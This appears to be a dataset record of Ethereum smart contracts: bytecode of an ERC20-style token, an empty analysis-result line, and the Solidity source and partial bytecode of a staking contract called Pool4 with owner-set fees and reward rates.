ffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b2e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba1338261189e565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bc06025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b9c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ae66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b776025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa16023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b08602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b6002819055506251257860025411156117a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117f2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611924576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b566021913960400191505060405180910390fd5b61198f81604051806060016040528060228152602001611ac4602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e681600254611a5690919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611a9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820d6446d52ead84ecc8ff064d68657dc7d0a1b1d6c9c3ca85eb4af99077f318c5f64736f6c63430005110032
{"success": true, "error": null, "results": {}}
6,970
0x9660cb9d325699ca422a56f739ac3947074072ac
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Pool4 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); address public tokenAddress; address public foreigntoken; address public feeDirection; // reward rate % per year uint public rewardRate = 120000; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 150; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported"); tokenAddress = _tokenAddr; foreigntoken = _liquidityAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function FeeDirectSet(address _address) public onlyOwner returns(bool){ feeDirection = _address; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0) && foreigntoken != address(0) && feeDirection != address(0), "Interracting token addresses are not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(foreigntoken).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(foreigntoken).transfer(feeDirection, fee), "Could not transfer withdraw fee."); require(Token(foreigntoken).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80636a395ccb1161010f578063d578ceab116100a2578063f2fde38b11610071578063f2fde38b14610489578063f3073ee7146104af578063f3f91fa0146104ce578063f851a440146104f4576101e5565b8063d578ceab14610469578063d816c7d514610471578063e97eff7114610479578063f1587ea114610481576101e5565b8063a89c8c5e116100de578063a89c8c5e146103f0578063bec4de3f1461041e578063c0a6d78b14610426578063c326bf4f14610443576101e5565b80636a395ccb146103845780637b0a47ee146103ba57806381cee3b1146103c25780639d76ea58146103e8576101e5565b80634641257d116101875780635ef057be116101565780635ef057be1461032a5780636270cd18146103325780636654ffdf1461035857806368ddcd0414610360576101e5565b80634641257d146102c25780634908e386146102ca578063538a85a1146102e7578063583d42fd14610304576101e5565b8063308feec3116101c3578063308feec31461027257806337c5785a1461027a578063384431771461029d578063455ab53c146102ba576101e5565b8063069ca4d0146101ea5780631c885bae1461021b5780631e94723f1461023a575b600080fd5b6102076004803603602081101561020057600080fd5b50356104fc565b604080519115158252519081900360200190f35b6102386004803603602081101561023157600080fd5b503561051d565b005b6102606004803603602081101561025057600080fd5b50356001600160a01b0316610827565b60408051918252519081900360200190f35b6102606108da565b6102076004803603604081101561029057600080fd5b50803590602001356108ec565b610207600480360360208110156102b357600080fd5b5035610910565b610207610931565b61023861093a565b610207600480360360208110156102e057600080fd5b5035610945565b610238600480360360208110156102fd57600080fd5b5035610966565b6102606004803603602081101561031a57600080fd5b50356001600160a01b0316610c5a565b610260610c6c565b6102606004803603602081101561034857600080fd5b50356001600160a01b0316610c72565b610260610c84565b610368610c8a565b604080516001600160a01b039092168252519081900360200190f35b6102386004803603606081101561039a57600080fd5b506001600160a01b03813581169160208101359091169060400135610c99565b610260610d73565b610207600480360360208110156103d857600080fd5b50356001600160a01b0316610d79565b610368610db5565b6102076004803603604081101561040657600080fd5b506001600160a01b0381358116916020013516610dc4565b610260610e6a565b6102076004803603602081101561043c57600080fd5b5035610e70565b6102606004803603602081101561045957600080fd5b50356001600160a01b0316610e91565b610260610ea3565b610260610ea9565b610368610eaf565b610260610ebe565b6102386004803603602081101561049f57600080fd5b50356001600160a01b0316610ef2565b610207600480360360208110156104c557600080fd5b50351515610f77565b610260600480360360208110156104e457600080fd5b50356001600160a01b0316611019565b61036861102b565b600080546001600160a01b0316331461051457600080fd5b60059190915590565b336000908152600e6020526040902054811115610581576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600854336000908152600f602052604090205461059f90429061103a565b116105db5760405162461bcd60e51b815260040180806020018281038252603b8152602001806113a7603b913960400191505060405180910390fd5b6105e433611051565b6000610607612710610601600754856111e590919063ffffffff16565b9061120c565b90506000610615838361103a565b6002546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101879052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561067057600080fd5b505af1158015610684573d6000803e3d6000fd5b505050506040513d602081101561069a57600080fd5b50516106ed576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561074157600080fd5b505af1158015610755573d6000803e3d6000fd5b505050506040513d602081101561076b57600080fd5b50516107be576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600e60205260409020546107d8908461103a565b336000818152600e60205260409020919091556107f790600c90611221565b80156108105750336000908152600e6020526040902054155b1561082257610820600c33611236565b505b505050565b6000610834600c83611221565b610840575060006108d5565b6001600160a01b0382166000908152600e6020526040902054610865575060006108d5565b6001600160a01b03821660009081526010602052604081205461088990429061103a565b6001600160a01b0384166000908152600e602052604081205460055460045493945090926108cf91612710916106019190829088906108c99089906111e5565b906111e5565b93505050505b919050565b60006108e6600c61124b565b90505b90565b600080546001600160a01b0316331461090457600080fd5b60069290925560075590565b600080546001600160a01b0316331461092857600080fd5b600a9190915590565b600b5460ff1681565b61094333611051565b565b600080546001600160a01b0316331461095d57600080fd5b60049190915590565b600b5460ff1615156001146109c2576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a17576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d6020811015610a9b57600080fd5b5051610aee576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610af733611051565b6000610b14612710610601600654856111e590919063ffffffff16565b90506000610b22838361103a565b6002546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101879052905193945091169163a9059cbb916044808201926020929091908290030181600087803b158015610b7d57600080fd5b505af1158015610b91573d6000803e3d6000fd5b505050506040513d6020811015610ba757600080fd5b5051610bfa576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600e6020526040902054610c149082611256565b336000818152600e6020526040902091909155610c3390600c90611221565b61082257610c42600c33611265565b50336000908152600f60205260409020429055505050565b600f6020526000908152604090205481565b60065481565b60116020526000908152604090205481565b60085481565b6002546001600160a01b031681565b6000546001600160a01b03163314610cb057600080fd5b6001546001600160a01b0384811691161415610ceb57610cce610ebe565b811115610cda57600080fd5b600954610ce79082611256565b6009555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b505050506040513d6020811015610d6c57600080fd5b5050505050565b60045481565b600080546001600160a01b03163314610d9157600080fd5b600380546001600160a01b0319166001600160a01b03939093169290921790915590565b6001546001600160a01b031681565b600080546001600160a01b03163314610ddc57600080fd5b6001600160a01b03831615801590610dfc57506001600160a01b03821615155b610e375760405162461bcd60e51b815260040180806020018281038252602a815260200180611415602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b60055481565b600080546001600160a01b03163314610e8857600080fd5b60089190915590565b600e6020526000908152604090205481565b60095481565b60075481565b6003546001600160a01b031681565b6000600a5460095410610ed3575060006108e9565b6000610eec600954600a5461103a90919063ffffffff16565b91505090565b6000546001600160a01b03163314610f0957600080fd5b6001600160a01b038116610f1c57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f8f57600080fd5b6001546001600160a01b031615801590610fb357506002546001600160a01b031615155b8015610fc957506003546001600160a01b031615155b6110045760405162461bcd60e51b81526004018080602001828103825260338152602001806113e26033913960400191505060405180910390fd5b600b805460ff19169215159290921790915590565b60106020526000908152604090205481565b6000546001600160a01b031681565b60008282111561104657fe5b508082035b92915050565b600061105c82610827565b905080156111c8576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156110ba57600080fd5b505af11580156110ce573d6000803e3d6000fd5b505050506040513d60208110156110e457600080fd5b5051611137576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526011602052604090205461115a9082611256565b6001600160a01b0383166000908152601160205260409020556009546111809082611256565b600955604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152601060205260409020429055565b60008282028315806111ff5750828482816111fc57fe5b04145b61120557fe5b9392505050565b60008082848161121857fe5b04949350505050565b6000611205836001600160a01b03841661127a565b6000611205836001600160a01b038416611292565b600061104b82611358565b60008282018381101561120557fe5b6000611205836001600160a01b03841661135c565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561134e57835460001980830191908101906000908790839081106112c557fe5b90600052602060002001549050808760000184815481106112e257fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061131257fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061104b565b600091505061104b565b5490565b6000611368838361127a565b61139e5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561104b565b50600061104b56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220cdd25a